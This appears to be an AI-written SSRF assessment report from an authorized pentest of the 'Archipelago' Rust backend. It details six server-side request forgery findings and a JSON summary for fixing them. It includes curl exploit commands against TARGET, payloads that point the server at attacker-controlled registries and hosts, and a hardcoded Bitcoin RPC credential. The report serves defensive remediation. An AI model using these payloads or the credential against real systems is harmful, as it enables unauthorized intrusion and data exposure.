Overnight pentest run produced recon, analysis, exploitation reports, and a full security assessment. Plan.md updated with 22 prioritized fix items for auth, SSRF, injection, XSS, and hardening. Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
10 KiB
The backend appears to be down currently. The analysis is based on thorough source code review. Let me compile the full findings.
SSRF Vulnerability Analysis — Archipelago
Summary
I analyzed the entire codebase for SSRF vulnerabilities across the Rust backend (core/archipelago/), nginx configuration, Vite dev proxy, and the core/startos/ (inactive) codebase. The active backend has 3 confirmed SSRF vectors and 1 dormant but critical one in unreachable code.
SSRF-001: Blind SSRF via node-check-peer (Missing Onion Validation)
Type: Direct SSRF via Tor SOCKS5 proxy
Location: POST /rpc/v1 → method node-check-peer
Parameter: onion
Source file: core/archipelago/src/node_message.rs:115-133
RPC handler: core/archipelago/src/api/rpc/peers.rs:69-80
Evidence: check_peer_reachable() accepts the onion parameter and constructs an HTTP URL without calling validate_onion(), unlike send_to_peer() which does validate. The function:
- Takes any string as
onion(line 115) - Appends
.onionif needed (lines 116-120) - Constructs
http://{host}/health(line 121) - Sends via
socks5h://127.0.0.1:9050Tor proxy (lines 122-127) - Returns boolean success/failure to the caller (line 130)
Since there's no validation, an attacker can inject port numbers and URL components. For example, onion: "validbase32chars.onion:9999" results in a request to port 9999. The socks5h:// protocol delegates DNS to Tor, and the response status is leaked via the boolean.
Additionally, this endpoint has zero authentication and CORS wildcard (Access-Control-Allow-Origin: *), enabling drive-by SSRF from any website.
Confidence: HIGH
Suggested exploit:
curl -X POST http://TARGET/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"method":"node-check-peer","params":{"onion":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}}'
Response {"result":{"reachable":true/false}} confirms the server made an outbound request via Tor to the specified .onion address.
SSRF-002: SSRF via node-send-message (Validated but Still Exploitable)
Type: Direct SSRF via Tor SOCKS5 proxy
Location: POST /rpc/v1 → method node-send-message
Parameter: onion
Source file: core/archipelago/src/node_message.rs:66-112
RPC handler: core/archipelago/src/api/rpc/peers.rs:50-67
Evidence: send_to_peer() calls validate_onion() (line 67), which checks: 56 chars of base32 (a-z2-7). This limits the SSRF to valid Tor v3 onion format, but:
- Any valid-format onion address gets an HTTP POST with a JSON body (lines 74-79)
- The request includes the node's own public key in the body (
from_pubkey) - The response error messages are returned to the caller, leaking connection details
- No rate limiting — can probe many .onion addresses rapidly
The validation prevents port injection but NOT arbitrary .onion targeting. An attacker can force the server to POST to any Tor hidden service.
Confidence: HIGH
Suggested exploit:
curl -X POST http://TARGET/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"method":"node-send-message","params":{"onion":"ATTACKER_ONION_56_CHARS","message":"probe"}}'
SSRF-003: LND REST Proxy — Unauthenticated Internal Service Access
Type: Internal service proxy / partial SSRF
Location: GET /proxy/lnd/{path} on port 5678
Parameter: URL path after /proxy/lnd
Source file: core/archipelago/src/api/handler.rs:158-188
Evidence: The handler strips /proxy/lnd from the path and constructs http://127.0.0.1:8080{suffix}, then performs reqwest::get(&url) and returns the full response including body and Content-Type. The host is hardcoded to 127.0.0.1:8080, so this is limited to accessing localhost port 8080.
Key concerns:
- No authentication on the proxy endpoint
- Full path control — any LND REST API endpoint is accessible
- Response body returned — not blind, the attacker gets full response content
- Port 8080 is shared: LND REST API AND the endurain app run on this port (per nginx config)
- Backend binds to
0.0.0.0:5678by default (config.rs:193), though the proxy through nginx serves SPA HTML instead (nginx falls through totry_files)
Confidence: MEDIUM (host is hardcoded; exploitability depends on whether port 5678 is directly reachable or if nginx can be configured to proxy this path)
Suggested exploit:
# Direct to backend (if port 5678 is reachable)
curl http://TARGET:5678/proxy/lnd/v1/getinfo
curl http://TARGET:5678/proxy/lnd/v1/balance/blockchain
SSRF-004: Container Image Pull — Arbitrary Registry Fetch
Type: Indirect SSRF via container registry pull
Location: POST /rpc/v1 → method package.install
Parameter: dockerImage
Source file: core/archipelago/src/api/rpc/package.rs:9-84
Evidence: The handle_package_install handler accepts a dockerImage parameter, validates it only against shell injection characters (is_valid_docker_image() at line 786), then runs podman pull {image} (line 60). The validation blacklist is:
let dangerous_chars = ['&', '|', ';', '`', '$', '(', ')', '<', '>', '\n', '\r'];
This allows arbitrary registry URLs like attacker.com/malicious:latest or registry.evil.com:5000/image:tag. The server makes HTTPS requests to the specified registry to pull manifest and image layers.
Confidence: HIGH
Suggested exploit:
curl -X POST http://TARGET/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"method":"package.install","params":{"id":"test","dockerImage":"attacker-registry.com/probe:latest"}}'
The server will connect to attacker-registry.com to pull the image, confirming outbound SSRF.
SSRF-005: Dormant Full SSRF in marketplace.get (Inactive Code)
Type: Full arbitrary URL fetch (NOT in active backend)
Location: core/startos/src/registry/marketplace.rs:38-92
Parameter: url (type Url — accepts any scheme/host)
Evidence: This is a critical SSRF — marketplace.get accepts a raw Url parameter and fetches it with the shared reqwest::Client, which has a Tor proxy for .onion addresses (core/startos/src/context/rpc.rs:222-231). No URL validation, no IP blocklist, supports http://, https://, potentially file://. Response content is returned in JSON/text/base64.
However, this module is in core/startos/ which is not compiled into the active core/archipelago/ binary (Cargo.toml has no startos dependency). The RPC route table in core/archipelago/src/api/rpc/mod.rs does not register marketplace.get.
Confidence: LOW (dormant code, not reachable on running server)
Note: If this code is ever wired into the active backend, it becomes the most critical SSRF in the system.
SSRF-006: Nostr Relay Connections — Config-Driven SSRF
Type: WebSocket SSRF via configuration
Location: POST /rpc/v1 → methods node-nostr-discover, node.nostr-publish
Source file: core/archipelago/src/nostr_discovery.rs:157-345
Evidence: Relay URLs from config.nostr_relays (populated from ARCHIPELAGO_NOSTR_RELAYS env var, default: wss://relay.damus.io, wss://relay.nostr.info) are passed to client.add_relay(url) without validation. When Tor proxy is configured (default: 127.0.0.1:9050), all relay connections route through Tor.
Not directly user-controllable via RPC (relays come from config), but if an attacker can modify environment variables or the config file, they can redirect Nostr connections to arbitrary WebSocket endpoints.
Confidence: LOW (requires configuration access)
Additional Observations
| Factor | Detail |
|---|---|
| CORS wildcard | All backend responses include Access-Control-Allow-Origin: * (handler.rs:15), enabling drive-by SSRF from any website |
| No authentication | RPC API has zero auth middleware — all SSRF endpoints callable by anyone on the network |
| Nginx proxy exposure | /aiui/api/claude/ → Claude proxy (3141), /aiui/api/openrouter/ → OpenRouter API, /aiui/api/web-search → SearXNG (8888). These are fixed-target proxies, not user-controllable SSRF, but enable unauthenticated access to internal services |
| TLS verification disabled | LND client uses danger_accept_invalid_certs(true) (lnd.rs:56) |
| Hardcoded credentials | Bitcoin RPC: archipelago:archipelago123 (bitcoin.rs:89, electrs_status.rs:17) |
{
"category": "ssrf",
"findings": [
{
"id": "SSRF-001",
"type": "blind_ssrf_via_tor_proxy",
"endpoint": "/rpc/v1",
"parameter": "params.onion (method: node-check-peer)",
"confidence": "high",
"payload_suggestion": "{\"method\":\"node-check-peer\",\"params\":{\"onion\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}}"
},
{
"id": "SSRF-002",
"type": "ssrf_via_tor_proxy_with_data_exfil",
"endpoint": "/rpc/v1",
"parameter": "params.onion (method: node-send-message)",
"confidence": "high",
"payload_suggestion": "{\"method\":\"node-send-message\",\"params\":{\"onion\":\"VALID_56_BASE32_ONION_ADDRESS\",\"message\":\"ssrf-probe\"}}"
},
{
"id": "SSRF-003",
"type": "internal_service_proxy",
"endpoint": "/proxy/lnd/{path}",
"parameter": "URL path suffix",
"confidence": "medium",
"payload_suggestion": "GET /proxy/lnd/v1/getinfo on port 5678"
},
{
"id": "SSRF-004",
"type": "ssrf_via_container_registry_pull",
"endpoint": "/rpc/v1",
"parameter": "params.dockerImage (method: package.install)",
"confidence": "high",
"payload_suggestion": "{\"method\":\"package.install\",\"params\":{\"id\":\"probe\",\"dockerImage\":\"attacker-registry.example.com/ssrf-canary:latest\"}}"
},
{
"id": "SSRF-005",
"type": "full_arbitrary_url_fetch",
"endpoint": "marketplace.get (INACTIVE - startos codebase)",
"parameter": "url",
"confidence": "low",
"payload_suggestion": "NOT EXPLOITABLE - code not compiled into active binary"
},
{
"id": "SSRF-006",
"type": "config_driven_websocket_ssrf",
"endpoint": "/rpc/v1 (methods: node-nostr-discover, node.nostr-publish)",
"parameter": "ARCHIPELAGO_NOSTR_RELAYS env var",
"confidence": "low",
"payload_suggestion": "Requires config modification: ARCHIPELAGO_NOSTR_RELAYS=wss://attacker.com/"
}
]
}